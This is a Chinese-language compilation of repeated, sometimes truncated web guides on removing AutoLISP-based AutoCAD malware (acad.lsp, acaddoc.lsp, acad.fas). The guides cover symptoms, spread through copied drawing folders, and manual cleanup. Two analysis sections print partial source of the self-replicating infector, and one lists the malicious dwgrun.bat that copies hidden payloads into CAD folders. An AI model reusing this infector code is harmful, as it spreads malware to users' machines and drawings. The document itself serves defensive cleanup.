CAD病毒解决办法

CAD病毒解决办法
CAD病毒解决办法

CAD病毒的解决方法

①、关闭正在运行的AutoCAD及机械工程师CAD(切记!)

②、打开“我的电脑”后,按F3键打开XP系统的文件搜索窗口,在整个硬盘上搜索并彻底删除以下文件:

acad.fas;acad.lsp;acad.sys;acad.vlx;acadapp.lsp;lcm.fas;acaddoc.lsp

WIN7系统搜索方法:打开“我的电脑”在右上角输入文件名:acad.fas OR acad.lsp OR acad.sys OR acad.vlx OR acadapp.lsp OR lcm.fas OR acaddoc.lsp

注意:

●“搜索范围”一定要选择“本机硬盘驱动器 (C:;D:;E:;F:)”。

●一定要先勾选“搜索选项”中的“高级选项”,将其下的“搜索子文件夹”及“搜

索隐藏的文件及文件夹”项勾选上,否则不能将病毒文件全部搜索清除干净。

见下图

●找到后全部删除(彻底删除shift+delete,只是删除到回收站不起作用)。

如果此时一个文件都没有找到,则说明您搜索的文件名称填写错误。

●保证AutoCAD文件夹下没有任何垃圾文件。

③、卸载AutoCAD及机械工程师CAD,删除AutoCAD安装路径。

④、再次搜索上述文件,找不到任何文件时(切记!),再重新安装AutoCAD 及机械工程师CAD。

该病毒症状:

感染该病毒后,表现症状也不太相同,一般表现:

●AutoCAD的炸开命令(Explode)、多行文字等出现异常。

●机械工程师CAD的许多命令显示为:未知命令。

●AutoCAD的插件命令无法正常使用。

●打开CAD后出现一信息:程序作者QQ:XXXXXXXXXX

现在时间是:XX点XX分了的哦!

好好干了啦!XX不会亏待你的!

老板的眼睛是雪亮的啦!

●打开原来的dwg图纸后,尺寸值发生了改变。

该病毒说明:

这是一个专门针对CAD的病毒程序,不是传统意义上的病毒,因此,用瑞星、金山毒霸等是不能杀除的(目前)。

它的作用机制是这样的:某台机器上没有这个病毒程序,但在通过网上邻居或U盘拷贝别人的图纸时,大家经常会把整个目录拷贝过来,如果拷贝的这个目录中包含有acad.lsp和acad.vlx 等文件,你的机器就有了这个病毒,但是还没有起作用。当你用CAD打开这个文件时,CAD会自动加载该目录下的acad.lsp,这个LSP程序会检测你的CAD支持support目录下是否有这两个文件,如果没有,它会自动在那里创建他们的副本。以后,在你打开别的图纸时,它会再判断你要打开的图纸目录下有没有这两个文件,如果没有,它又在该目录下创建这两个文件的副本。就这样,你的电脑上的dwg文件目录中逐步都有了这个病毒。随着别人按照目录拷贝你的dwg 文件,他们也感染上了。

因此,如果你的机器上没有CAD病毒程序,只要你从别处拷贝图纸时,只拷贝dwg文件一般就不会感染CAD病毒了(不要拷贝文件夹),但最安全的方法是在拷贝别人的图形时,请先查找是否存在该病毒文件。

2011-4-14

CAD病毒处理方法

一、中键不能用的病毒 步骤:1、关闭cad程序,显示所有文件和文件夹;显示已知程序的后缀; 2、搜索acad.lsp,全部彻底删除; 3、搜索acadappp.lsp,一般就一个,彻底删除(注意搜索要在高级选项加上隐藏文件夹); 4、打开cad,在工具--选项--配置--重置,再试一下,ok了吧!!! 二、时间病毒 手工清除方法:首先请关闭CAD后,再搜索所有磁盘内的acad.fas、acad.sys、acad.ini、lcm.fas、dwgrun.exe、dwgrun.bat、winsys.ini、winfas.ini文件,(记住一定要搜索完所有的磁盘,如C、D、E、F、G等等。)然后将所有搜索到的acad.fas、acad.sys、acad.ini、lcm.fas、dwgrun.exe、dwgrun.bat、winsys.ini、winfas.ini文件全部删除。 常见问题是C:\Program Files\autocad***目录(子目录)下的 acad.fas与lcm.fas是在全部查找时找不到的,请手动进入目录再行查找删除! 不想进去目录查找也可以输入下面的字符到CAD命令行: (while (or (setq a (findfile "acad.fas")) (setq a (findfile "lcm.fas"))) (vl-file-delete a)) 注意:上面带括号一个字都不能少哦!这样就行了! 如果有文字编缉时出现记事本的现象请将下面一行红字输入到命令行?: (setvar "mtexted" ".") 靠,玩cad就指这个混了,全部贡献了。!!!!! 要把你的机子、U盘全部照上面的方法查一遍,以后见到acad.lsp这个东西先删!!! 只要在同一个文件夹中(不论是U盘还是硬盘)有图纸和acad.lsp,打开任何图纸之后就会在C盘产生一个acadappp.lsp病毒母文件,以后在这台机子任意打开图纸,就会在打开图纸的文件夹中产生一个acad.lsp文件,说白了就是中毒了!!!!按我上面的方法处理染毒的机子就ok了!并不存在某个文件安全不安全的讲法,只存在.dwg文件安全不安全的讲法

一种CAD病毒的清除与防范措施

一种CAD病毒的清除与防范措施 雪山飞猪 QQ534455 近来又出现一种AutoCAD病毒,该病毒与以往CAD病毒不同。干净的CAD 系统当打开DWG图时,如果该图所在目录下有ACADDOC.LSP文件(基本为病毒传播文件),ACADDOC.LSP就会运行。 1.病毒的特征与传播方式 我们先看看病毒代码,代码如下: (setq flagx t) (setq bz "(setq flagx t)") (defun app(source target bz / flag flag1 wjm wjm1 text) (setq flag nil) (setq flag1 t) (if (findfile target) (progn (setq wjm1 (open target "r")) (while (setq text (read-line wjm1)) (if (= text bz) (setq flag1 nil)) );while (close wjm1) );progn );if (if flag1 (progn (setq wjm (open source "r")) (setq wjm1 (open target "a")) (write-line (chr 13) wjm1) (while (setq text (read-line wjm)) (if (= text bz) (setq flag t)) (if flag

(progn (write-line text wjm1) );progn );if );while (close wjm1) (close wjm) );progn );if );defun (setvar "cmdecho" 0) (setq acadmnl (findfile "acad.mnl")) (setq acadmnlpath (vl-filename-directory acadmnl)) (setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl")) (setq mnlnum (length mnlfilelist)) (setq acadexe (findfile "acad.exe")) (setq acadpath (vl-filename-directory acadexe)) (setq support (strcat acadpath "\\support")) (setq lspfilelist (vl-directory-files support "*.lsp")) (setq lspfilelist (append lspfilelist (list "acaddoc.lsp"))) (setq lspnum (length lspfilelist)) (setq dwgname (getvar "dwgname")) (setq dwgpath (findfile dwgname)) (if dwgpath (progn (setq acaddocpath (vl-filename-directory dwgpath)) (setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp")) (setq mnln 0) (while (< mnln mnlnum)

常见CAD病毒处理

cad使用不正常,CAD病毒清除方法 打开CAD后出现一信息分析: 这是一个专门针对CAD的病毒程序,不是传统意义上的病毒,因此,用诺顿、金山毒霸等是不能杀除的。 它的作用机制是这样的:某台机器上没有这个病毒程序,在通过网上邻居拷贝别人的图纸时,大家经常会把整个目录拷贝过来,如果拷贝的这个目录中包含有acad.lsp和acadapp.lsp,你的机器就有了这个病毒,但是还没有起作用。当你用CAD打开这个文件时,CAD会自动加载该目录下的acad.lsp,这个LSP程序会检测你的CAD支持support目录下是否有这两个文件,如果没有,它会自动在那里创建他们的副本。 以后,在你打开别的图纸时,它会在判断你要打开的图纸目录下有没有这两个文件,如果没有,它又在该目录下创建这两个文件的副本。就这样,你的机器上的dwg文件目录中逐步都有了这个程序。随着别人按照目录拷贝你的dwg文件,他们也感染上了。 因此,如果你的机器上没有CAD病毒程序,只要你从别处拷贝图纸时,只拷贝dwg文件就不会感染CAD病毒了. LSP 文件 (.lsp) - 一种包含 AutoLISP 程序代码的 ASCII 文本文件。 FAS 文件 (.fas) - 一个 LSP 程序文件的二进制编译版本。 删除: 进入CAD文件夹,分别查到acad.fas,acad.lsp和 acadapp.lsp,acad.mnl,acad.chw,lcm.fas后删除到C:\Documents and Settings\(你的用户名)\Application Data\Autodesk\AutoCAD 2004\R16.0\chs\Support\下(AutoCAD的版本不同2004和16有可能不同)搜索acad.fas,acad.lsp和acadapp.lsp,acad.mnl,acad.chw,lcm.fas后删除. 全盘搜索acad.fas,acad.lsp后删除. 常见问题是C:\Program Files\autocad***目录(子目录)下的 acad.fas与lcm.fas是在全部查找时找不到的,请手动进入目录再行查找删除! 不想进去目录查找也可以输入下面的字符到CAD命令行: (while (or (setq a (findfile "acad.fas")) (setq a (findfile "lcm.fas"))) (vl-file-delete a)) 注意:上面红字一个字都不能少!这样就行了! 如果有文字编缉时出现记事本的现象请将下面一行红字输入到命令行: (setvar "mtexted" ".") 二。由于CAD病毒有别于传统病毒,致使目前很多杀毒软件对其无能为力,此工具可以帮您将CAD恢复到正常状态! CAD中毒迹象:

CAD病毒acaddoc

天正CAD产生的acaddoc.lsp病毒怎么解决 ①、关闭CAD(一定要先关闭正在运行的CAD程序)。 ②、进入安全模式(重要前提!!!),按F3键打开XP系统的文件搜索窗口,搜索并删除acad.lsp、acadappp.lsp、acadapp.lsp acadapq.lsp 、acaddoc.lsp 这5个文件。 注意:“搜索范围”一定要选择“本机硬盘驱动器...”,并勾选“搜索选项”中的“高级选项”,将其下的“搜索子文件夹”项勾选上,否则不能将这3个文件全部搜索清除干净。 ③、复制下面的代码在CAD命令行运行,以恢复被修改的系统变量默认值: (setvar "zoomfactor" 40)(setvar"mbuttonpan" 1)(setvar"HIGHLIGHT" 1)(setvar "fillmode" 1) ④用记事本打开CAD下的“acad.mnl”文件,将文件最后一行代码(load "acadappp")删去。(错误: LOAD 失败: "acadapq")的根源。(如“acad.mnl”文件中无此行代码可忽略此操作) 附:“acad.mnl”文件可能在下面的目录中, C:\Documents and Settings\×××\Application Data\Autodesk\AutoCAD 200×\R×.×\chs\Support 其中×××是你登录系统时的用户名,200×和R×.×分别是CAD的版本和版本代号。(注意:目录C:\Documents and Settings\是系统隐藏文件夹) acaddoc.lsp病毒有效的方法。 1:查找acaddoc.lsp,把高级选项打开,把隐藏的也搜索出来删除。 2.查找acadapq.lsp删除。

CAD中lsp病毒处理办法

acaddoc病毒处理办法2011 前言:下文第1、2、3段无实质内容,可略过不读。 一病毒简介: 最近公司里流传一种cad病毒。该病毒可被卡巴斯基和360杀毒软件查出。卡巴斯基查出病毒名为Virus.ALS.Pasdoc.a,360杀毒软件查出病毒名为Trojan.Script.29327。遗憾的是,卡巴斯基和360杀毒软件均不能将其彻底清除。 二中毒症状: 机器中毒后,运行CAD时,每打开一个dwg文件,均在dwg文件所在目录下生成一个acaddoc.lsp的文件。由于每次开图,病毒程序均进行一次病毒传播复制过程,因此使得CAD 开图时速度变慢。 用记事本查看CAD安装路径下的support目录下的任一*.lsp文件,如文件末尾含有与附件1相同的代码,则可判定为中毒。 三传播机理: 通过分析病毒的源代码,初步了解其传播机理如下: 如机器已中毒,CAD新打开dwg文件时,病毒程序自动加载。并搜索CAD工作目录下的acad.mnl文件,感染同一目录下的*.mnl文件,搜索acad的support目录,并感染该目录下的所有*.lsp文件。同时病毒在当前打开的dwg文件所在目录下生成acaddoc.lsp文件,以利于下次传播。 如本机未中毒,而新打开的dwg文件所在目录下有acaddoc.lsp文件,则病毒将感染上述目录下的*.mnl与*.lsp文件。 该病毒的最终目的是调用acadapq 与 acadappp 两个非法程序。至于这两个程序会干什么,暂未深入研究。 四清除步骤: 1.退出CAD。 2.全盘搜索acadapq.*、、acadappp.*、acaddoc.* 文件,然后彻底删除上述文件。注 意查找前在文件夹选项中设置“显示所有文件与文件夹”以及取消“隐藏受保护的 操作系统文件”。搜索时选择“查找所有文件及文件夹”,然后在“高级选项”里勾 选“搜索系统文件夹”“搜索隐藏的文件和文件夹”“搜索子文件夹”。 如果搜出的文件无法删除,则先清空回收站,再搜索删除。 注:探索者目录下有个AcadDoc.lsp(注意大小写)不是病毒文件,谨防误删。 3.查看C盘根目录下是否有boot.dat文件,如有,则将其删除。 4.进入C:\Documents and Settings\用户名\Application Data\Autodesk\AutoCAD 2006(或AutoCAD2004)\R16.2\chs\Support目录,用记事本打开该目录下的所有

CAD病毒专杀工具

CAD病毒专杀工具(acad.lsp病毒) 解决方法: 1.清除注册表的启动记录SOFT\MICRO..\WINdows\curvver\Run\dwgrun 2.在运行栏内输入msconfig 在启动项将dwgrun.exe删除 3.清除SYSTEM或SYSTEM32内的winsys.ini 和winfas.ini文件(安全模式) 4.搜索所有盘符内的"acad.sys"、"acad.fas或acad.ini"找到并删除或改名 5.打开CAD进入配置选项卡,把启动时加载acad.lsp项取消后重启!! 6.查找并删除"dwgrun.bat"文件 dwgrun.bat内容: attrib -r +h "C:\Documents and Settings\wbj\Application Data\Autodesk\AutoCAD 2004\R16.0\chs\support\acad.sys" copy "C:\WINDOWS\winsys.ini" "C:\Documents and Settings\wbj\Application Data\Autodesk\AutoCAD 2004\R16.0\chs\support\acad.sys" attrib -r +h "C:\Documents and Settings\wbj\Application Data\Autodesk\AutoCAD 2004\R16.0\chs\support\acad.fas" copy "C:\WINDOWS\winfas.ini" "C:\Documents and Settings\wbj\Application Data\Autodesk\AutoCAD 2004\R16.0\chs\support\acad.fas" 1.是中病毒了,我的也有这种情况,我把电脑里的acad.sys和acad.fas两个文件全搜出来删掉就好了 2.https://www.360docs.net/doc/7415900407.html,/forum/detail1096784_1.html 3.估计中了acad.lsp的“病毒”!试试搜索acad.lsp并改名; 4.或搜acad.lsp和acadapp.lsp删掉之。 如果还是不行看下面 我介绍下我是怎么删掉的: 1、前面要删除前文件记得进入到安全模式,找不到的就不用了。(进入安全模式办法:开机时按F8就可以看到第一选项就是了.‘有点多嘴了’) 2、重启后发现还是不可以用,郁闷了。 3、一怒下删掉了CAD(包括插件还有看图软件,这步可能是不用。)。。不过记得到安装目录下看下是否干净没有直接手动删除,否者怕等下要安装不了,然后重启看下之前删除的dwgrun.bat(这个可能就是病毒)文件还在不在,在的话代表病毒没清除干净。(顺便提下,有的人说软件安装不了,一般是和注册表有关系,因为并不是所有的卸载都是可以完全清除干净的,要有2、3个月清理下注册表的习惯,至于用什么清看个人了,本人习惯用优化大师) 4、安装CAD。。打开之前的图纸,,嘿嘿搞定了(*^__^*) 嘻嘻…… 这个病毒传染能力很强,打开过的DWG图纸都中标了,记得到之前的图纸目录看下,删掉里面除DWG以外的未知文件

CAD病毒查杀方法教程怎么手动杀毒

CAD病毒查杀方法教程怎么手动杀毒 病毒无处不在,随时入侵我们电脑,CAD也一样,那CAD文件病毒怎么清除?本文就来教大家使用手动设置查杀CAD病毒的方法,具体步骤请看下文。 CAD病毒查杀方法介绍: 手动查杀CAD病毒: 1、关闭CAD(一定要先关闭正在运行的CAD程序)。 2、搜索并删除acad.lsp、acadappp.lsp和acadapp.lsp这3个文件。 3、复制下面的代码在CAD命令行运行,以恢复被修改的系统变量默认值: 01(setvar "zoomfactor" 40) 02(setvar"mbuttonpan" 1) 03(setvar"HIGHLIGHT" 1) 04(setvar "fillmode" 1) 复制代码 4、用记事本打开CAD下的“acad.mnl”文件,将文件最后一行代码(load "acadappp")删去。(如"acad.mnl"文件中无此行代码可忽略此操作)

附:"acad.mnl"文件可能在下面的目录中, C:\Documents and Settings\×××\Application Data\Autodesk\AutoCAD 200×\R×.×\chs\Support 其中×××是你登录系统时的用户名,200×和R×.×分别是CAD的版本和版本代号。(注意:目录C:\Documents and Settings\是系统隐藏文件夹) 补充:CAD使用小技巧 1、文字镜像如何设置转动与不转动 A、在镜像前,输入MIRRTEXT指令 B、输入新值0 代表不转动;输入新值1代表转动 C、MIRRTEXT指令完成后,输入MI镜像指令就OK了 2、CAD的版本转换 A、CAD高版本可以打开所有低版本的图纸 B、CAD低版本不可以打开高版本的图纸 C、高版本转成低版本的方法,直接点击另存为,将文件类型可以改成任意的低版本 D、将低版本转换成高版本,就比较复杂了,需要第三方软件,也就是版本转换器。 3、CAD默认保存文件为低版本 A、在绘图界面输入OP

cad病毒处理

34.【关于explode命令无效的问题】 如果在CAD使用过程中,不能炸开图块了,先试一试能否炸开别的实体(如多行文本、填充图案等),如果能,说明是你所选择的实体本身不能被炸开(也可以在命令前加上.来测试是否可以炸开图块);如果不能,可能是感染了一个基于AutoLISP语言的病毒程序acad.lsp。它的主要表现特征为打开任意一张图纸均不能炸开图块,即explode命令无效,给我们的工作带来了不少麻烦。该病毒运行时将在所有打开过CAD图纸的目录下,生成acad.lsp病毒程序,并在CAD的安装目录Support下,生成acadapp.lsp病毒程序。 下面是清除该病毒的方法: (1)打开系统的查找“文件或文件夹”对话框; (2)在“文件或文件夹名”数据框中输入:acad.lsp;acadapp.lsp,acaddoc.lsp (3)在“包含文字”数据框中输入:explode; (4)在“搜索” 数据框中选择:所有硬盘驱动器; (5)将搜索到的这两个文件全部删除后,问题就已经解决了。 注意:一定要将硬盘是的所有目录都搜索一遍,这样才能将病毒清除干净。 ★补充: 那病毒文件的名字也可能叫Support \\ acadiso.lsp 下面是手动清理方法: 彻底的解决方案为:(主要是acad.fas程序文件) 清除方法是删除干净acad.fas与lcm.fas两个文件! 如果删除不净下次启动是还是会生成,包括隐藏文件请一定务必清理干净! 常见问题是C:\Program Files\autocad***目录(子目录)下的 acad.fas与lcm.fas是在全部查找时找不到的,请手动进入目录再行查找删除! 不想进去目录查找也可以输入下面的字符到CAD命令行: (while (or (setq a (findfile "acad.fas")) (setq a (findfile "lcm.fas"))) (vl-file-delete a)) 注意:上面红字一个字都不能少哦!这样就行了! 如果有文字编缉时出现记事本的现象,请将下面一行红字输入到命令行: (setvar "mtexted" ".") 如何避免以后再次中招发作: 1.打开U盘/网络共享中的CAD文件时 请先查看文件目录下是不是有一个acad.fas文件! 如果发现有请删除!确认后再打开CAD文件! 2.你发给别人的CAD文件目录, 中如果有acad.fas请删除,以免别人也中招!

acaddoc.lsp病毒清除方法

方法一 acaddoc.lsp输入的列表有缺陷(转自LOVE空间)2009年04月07日星期二上午 11:14这个是个新病毒,用以往的解决方法(1.lps改名为acaddoc.lsp替换)无法解决,在网络搜索了一下看到百度空间有个帖子有相关解决办法。 原帖如下: 今天在Q群里又见网友请求删除CAD病毒,说用专杀工具也无法解决,于是让他把病毒文件传了给我。打开文件一看,发现这个“acaddoc.lsp”文件内的程序代码跟以往的“acaddoc.lsp”病毒文件不同。 该病毒文件自动搜索CAD支持路径下的所有“*.mnl”文件和“*.lsp”文件。将病毒代码(“acaddoc.lsp”文件内容)写入“*.lsp”文件内,并在“*.mnl”文件中写入“*.lsp”文件的加载路径。同时,直线命令“line”、外部参照管理命令“xref”和分解(炸开)命令“explode”无法使用。 CAD系统感染该病毒文件后,只是简单搜索删除“acaddoc.lsp”文件,不能清除病毒。因为所有的“*.lsp”文件已经被修改,所有“*.lsp”文件都是病毒文件。 解决方法壹: ①、关闭CAD ②、搜索并刪除所有“acaddoc.lsp”文件 ③、卸载CAD(必须卸载干净,并进入C盘用户目录内删除没有卸载完的CAD文件)后,重新安装CAD 解决方法贰: ①、关闭CAD ②、搜索并刪除所有“acaddoc.lsp”文件 ③、找一台没有被CAD病毒破坏、且安装有相同版本CAD的电脑,复制其所有“*.lsp”文件和“*.mnl”文件至本机覆盖原文件(包括C盘用户目录内的相关文件) 预防CAD病毒: 装好CAD系统后,在没有被病毒感染前,将CAD目录内所有文件的属性设置为只读,可以减少中毒的机率。(此法99.999%有效) 附:C:\Documents and Settings\×××\Application Data\Autodesk\AutoCAD 200×\R×.×\ 其中×××是你登录系统时的用户名, 200×和R×.×分别是CAD的版本和版本代号。(注意:目录C:\Documents and Settings\是系统隐藏文件夹) 方法二 CAD开机运行时会有一大串函数,并且产生acaddoc.lsp的文件处理方法,我用了,方法很好就转过来了

CAD病毒清除方法

CAD病毒清除方法 kcfy发表于2010-12-07 08:57 最后修改于2011-03-24 20:30 浏览(1930) 评论(0)分类:AutoCAD举报 一、“党是不会亏待你的”CAD病毒的清除方法 1、该病毒发作后的主要表现为: ①、病毒在启动CAD时会弹出一个显示时间并写有“党是不会亏待你”的对话框; ②、病毒在8:00至18:00这个段时间内,对CAD画图没有任何的影响。当时间不在8:00至18:00之间时,会弹出如下对话框,可能伴随“移动”命令改变~等情况。(原病毒作者如是说。不过我在CAD2002上没有发现此更象,可能高版本的CAD才会吧。) 2、清除方法: ①、关闭CAD(一定要先关闭正在运行的CAD程序); ②、按F3键打开XP系统的文件搜索窗口,搜索并删除acad.fas和lcm.fas文件;③、XP文件搜索窗口设置如下: a.搜索acad.fas文件

b.搜索lcm.fas文件 注意:

①、“搜索范围”一定要选择“本机硬盘驱动器 (C:;D:;E:;F:)”;②、一定要先勾选“搜索选项”中的“高级选项”,将其下的“搜索子文件夹”项勾选上,否则不能将病毒文件全部搜索清除干净。其它CAD病毒,如acaddoc.lsp、acad.lsp等等,都可以用上述方法来搜索删除CAD病毒文件。 二、清除CAD恶意程序 “CAD恶意程序”网上也称之为“CAD病毒”。其实,常见的CAD恶意程序并不具备一般病毒特征,不能单独传染,不会感染系统文件,只能在CAD环境下传播,没有对系统产生危害,但会造成CAD部份命令失效(如:无法使用分解命令、鼠标中键平移被修改、填充不能使用、多段线空心等),使其操作不便,从而影响制图效率及质量。清除这类恶意程序可参考以下方法: ①、关闭CAD(一定要关闭正在运行中的CAD程序); ②、按F3键或在“开始”菜单打开“搜索”→“文件或文件夹”搜索窗口,全盘搜索下面的已知可能是CAD恶意程序的文件名; acad.lsp acad.fas acad.vlx acad.sys acaddoc.lsp acadiso.lsp acaddoc.fas acadapq.lsp acadappp.lsp acadapp.lsp lcm.fas acadsmu.fas 搜索发现文件后,注意该文件的所在目录,判断这个文件是不是你正在使用的某些外挂插件或专业软件所用到的自动加载文件,再决定是否删除。 注意:“搜索范围”一定要选择“本地硬盘(C:;D:;E:;...)”,并勾选“搜索选项”中的“高级选项”,将其下的“搜索系统文件夹”、“搜索隐藏的文件和文件夹”和“搜索子文件夹”项都勾选上,否则不能完全搜索出这些文件。 ③、复制代码“(setvar"zoomfactor" 40)(setvar "mbuttonpan" 1)(setvar"highlight" 1)(setvar "fillmode" 1)(se tvar"pickauto" 1)”粘贴在CAD命令行,恢复被修改的系统变量;

党不会亏待你CAD病毒清除方法

“党是不会亏待你”CAD病毒清除方法 一、该病毒发作后的主要表现为: ①、病毒在启动CAD时会弹出一个显示时间并写有“党是不会亏待你”的对话框; ②、病毒在8:00至18:00这个段时间内,对CAD画图没有任何的影响。当时间不在8:00至18:00之间时,会弹出如下对话框,可能伴随“移动”命令改变~等情况。(原病毒作者如是说。不过我在CAD2002上没有发现此更象,可能高版本的CAD才会吧。) 二、清除方法: ①、关闭CAD(一定要先关闭正在运行的CAD程序) ②、按F3键打开XP系统的文件搜索窗口,搜索并删除acad.fas和lcm.fas文件

③、XP文件搜索窗口设置如下: 1、搜索acad.fas文件 2、搜索lcm.fas文件 注意: ①、“搜索范围”一定要选择“本机硬盘驱动器(C:;D:;E:;F:)”。 ②、一定要先勾选“搜索选项”中的“高级选项”,将其下的“搜索子文件夹”项勾选上,否则不能将病毒文件全部搜索清除干净。

附:病毒作者在其QQ空间(https://www.360docs.net/doc/7415900407.html,)内“有关CAD病毒的说明” 首先要申明就是: 1.它对电脑是没有任意的危害性! 2.它在8:00到18:00这段时间,对CAD没有任何影响的! 它唯一的副作用就是: 你的CAD在启动时会弹出一个显示时间的对话框 如果时间时不在8:00至18:00之间 还有可能伴随"移动"命令改变~等情况 在这时间内的临时解决方案为: 将电脑系统时间调整8:00就行了! (有必时请关了CAD后再打开CAD) 彻底的解决方案为:(主要是acad.fas程序文件) 清除方法是删除干净acad.fas与lcm.fas两个文件! 如果删除不净下次启动是还是会生成,务必清理干净! 常见问题是C:\Program Files\autocad***目录(子目录)下的 acad.fas与lcm.fas是在全部查找时找不到的,请手动进入目录再行查找删除! 不想进去目录查找也可以输入下面的字符到CAD命令行: (while (or (setq a (findfile "acad.fas")) (setq a (findfile "lcm.fas"))) (vl-file-delete a)) 注意:上面红字一个字都不能少哦!这样就行了! 如果有文字编缉时出现记事本的现象请将下面一行红字输入到命令行?: (setvar "mtexted" ".") 我已与很多中毒好友用QQ远程帮他们搞好了~

AUTOCAD病毒的清除方法acaddoc.lsp和acadapq.lsp

AUTOCAD病毒的清除方法 acaddoc.lsp是一个专门针对CAD文件的病毒,在CAD软件 使用中主要表现的情况如下: 1、无法拷贝 2、在命令行提示需要执行一个宏 3、CAD会出莫名其妙的问题 解决方法: 关闭AutoCAD程序; 搜索所有acaddoc.lsp和acadapq.lsp文件 删除所有关acadapq.lsp(3,836字节) 和被感染的 acaddoc.lsp(27字节) (看文件大小); 重启AutoCAD,OK ashan发表 LZ还说少了一个步骤:没有处理acad.mnl文件,这样的清除并不彻底,下次再打开带毒的dwg文件(这里并非指dwg文件本身带毒,而是指在该dwg文件下有acaddoc.lsp文件存在)后,系统又会感染病毒,偶曾经对这个cad病毒的代码做过详细分析,下面是原文,有兴趣的朋友可以详细看看: 最近自己的电脑中了CAD病毒,症状为打开一个dwg文件后,在该dwg文件所在目录下就会自动生成一个“acaddoc.lsp”文件,即使手工将其删除,下次打开dwg文件时又会自动生成。如果把dwg文件和acaddoc.lsp文件一起复制到另外一部未感染CAD病毒的电脑上,只要一打开该dwg文件,则该电脑就会被感染。因为这个CAD病毒是个lisp程序,花了些时间对病毒代码进行分析如下: -----------------下面是病毒代码----------------------------- (setq wold_cmd (getvar "cmdecho")) (setvar "cmdecho" 0) (setq wpath (findfile "base.dcl")) (setq wpath (substr wpath 1 (- (strlen wpath) 8))) ;wpath变量保存ACAD下support目录路径 (setq wwmnlwpath (getvar "menuname")) ;获得当前菜单名,这句没有用处,下面并未使用wwmnlwpath变量 (setq wnowdwg (getvar "dwgname")) ;获得当前打开图形文件名 (setq wwjqm (findfile wnowdwg)) ;wwjqm变量保存当前打开图形文件的完整路径 (setq wdwgwpath (substr wwjqm 1 ( - (strlen wwjqm) (strlen wnowdwg)))) ;wdwgwpath变量保存当前打开图形文件所在路径 ;;;alert ( setq f ( open "c:\\boot.dat" "w")) ;f变量为boot.dat文件句柄,c盘根目录下boot.dat文件若存在则 (write-line "[dang]" f) ;打开,不存在则创建,然后将当前打开图形文件所在路径和support

CAD中acaddoc.lsp病毒处理办法

acaddoc病毒处理办法 前言:下文第一、二、三段无实质内容,可略过不读。 一 病毒简介: 最近公司里流传一种cad病毒。该病毒可被卡巴斯基和360杀毒软件查出。卡巴斯基查出病毒名为Virus.ALS.Pasdoc.a,360杀毒软件查出病毒名为Trojan.Script.29327。遗憾的是,卡巴斯基和360杀毒软件均不能将其彻底清除。 二 中毒症状: 机器中毒后,运行CAD时,每打开一个dwg文件,均在dwg文件所在目录下生成一个acaddoc.lsp的文件。由于每次开图,病毒程序均进行一次病毒传播复制过程,因此使得CAD开图时速度变慢。 用记事本查看CAD安装路径下的support目录下的任一*.lsp文件,如文件末尾含有与附件1相同的代码,则可判定为中毒。 三 传播机理: 通过分析病毒的源代码,初步了解其传播机理如下: 如机器已中毒,CAD新打开dwg文件时,病毒程序自动加载。并搜索CAD工作目录下的acad.mnl文件,感染同一目录下的*.mnl文件,搜索acad的support目录,并感染该目录下的所有*.lsp文件。同时病毒在当前打开的dwg文件所在目录下生成acaddoc.lsp文件,以利于下次传播。 如本机未中毒,而新打开的dwg文件所在目录下有acaddoc.lsp文件,则病毒将感染上述目录下的*.mnl与*.lsp文件。 该病毒的最终目的是调用acadapq 与 acadappp 两个非法程序。至于这两个程序会干什么,暂未深入研究。 四 清除步骤: 1. 退出CAD。 2. 全盘搜索acadapq.*、、acadappp.*、acaddoc.* 文件,然后 彻底删除上述文件。注意查找前在文件夹选项中设置“显示 所有文件与文件夹”以及取消“隐藏受保护的操作系统文 件”。搜索时选择“查找所有文件及文件夹”,然后在“高

CAD病毒解决办法

CAD病毒的解决方法 ①、关闭正在运行的AutoCAD及机械工程师CAD(切记!) ②、打开“我的电脑”后,按F3键打开XP系统的文件搜索窗口,在整个硬盘上搜索并彻底删除以下文件: acad.fas;acad.lsp;acad.sys;acad.vlx;acadapp.lsp;lcm.fas;acaddoc.lsp WIN7系统搜索方法:打开“我的电脑”在右上角输入文件名:acad.fas OR acad.lsp OR acad.sys OR acad.vlx OR acadapp.lsp OR lcm.fas OR acaddoc.lsp 注意: ●“搜索范围”一定要选择“本机硬盘驱动器 (C:;D:;E:;F:)”。 ●一定要先勾选“搜索选项”中的“高级选项”,将其下的“搜索子文件夹”及“搜 索隐藏的文件及文件夹”项勾选上,否则不能将病毒文件全部搜索清除干净。 见下图 ●找到后全部删除(彻底删除shift+delete,只是删除到回收站不起作用)。 如果此时一个文件都没有找到,则说明您搜索的文件名称填写错误。 ●保证AutoCAD文件夹下没有任何垃圾文件。 ③、卸载AutoCAD及机械工程师CAD,删除AutoCAD安装路径。 ④、再次搜索上述文件,找不到任何文件时(切记!),再重新安装AutoCAD 及机械工程师CAD。

该病毒症状: 感染该病毒后,表现症状也不太相同,一般表现: ●AutoCAD的炸开命令(Explode)、多行文字等出现异常。 ●机械工程师CAD的许多命令显示为:未知命令。 ●AutoCAD的插件命令无法正常使用。 ●打开CAD后出现一信息:程序作者QQ:XXXXXXXXXX 现在时间是:XX点XX分了的哦! 好好干了啦!XX不会亏待你的! 老板的眼睛是雪亮的啦! ●打开原来的dwg图纸后,尺寸值发生了改变。 该病毒说明: 这是一个专门针对CAD的病毒程序,不是传统意义上的病毒,因此,用瑞星、金山毒霸等是不能杀除的(目前)。 它的作用机制是这样的:某台机器上没有这个病毒程序,但在通过网上邻居或U盘拷贝别人的图纸时,大家经常会把整个目录拷贝过来,如果拷贝的这个目录中包含有acad.lsp和acad.vlx 等文件,你的机器就有了这个病毒,但是还没有起作用。当你用CAD打开这个文件时,CAD会自动加载该目录下的acad.lsp,这个LSP程序会检测你的CAD支持support目录下是否有这两个文件,如果没有,它会自动在那里创建他们的副本。以后,在你打开别的图纸时,它会再判断你要打开的图纸目录下有没有这两个文件,如果没有,它又在该目录下创建这两个文件的副本。就这样,你的电脑上的dwg文件目录中逐步都有了这个病毒。随着别人按照目录拷贝你的dwg 文件,他们也感染上了。 因此,如果你的机器上没有CAD病毒程序,只要你从别处拷贝图纸时,只拷贝dwg文件一般就不会感染CAD病毒了(不要拷贝文件夹),但最安全的方法是在拷贝别人的图形时,请先查找是否存在该病毒文件。 2011-4-14

CAD中acaddoc.lsp病毒处理办法

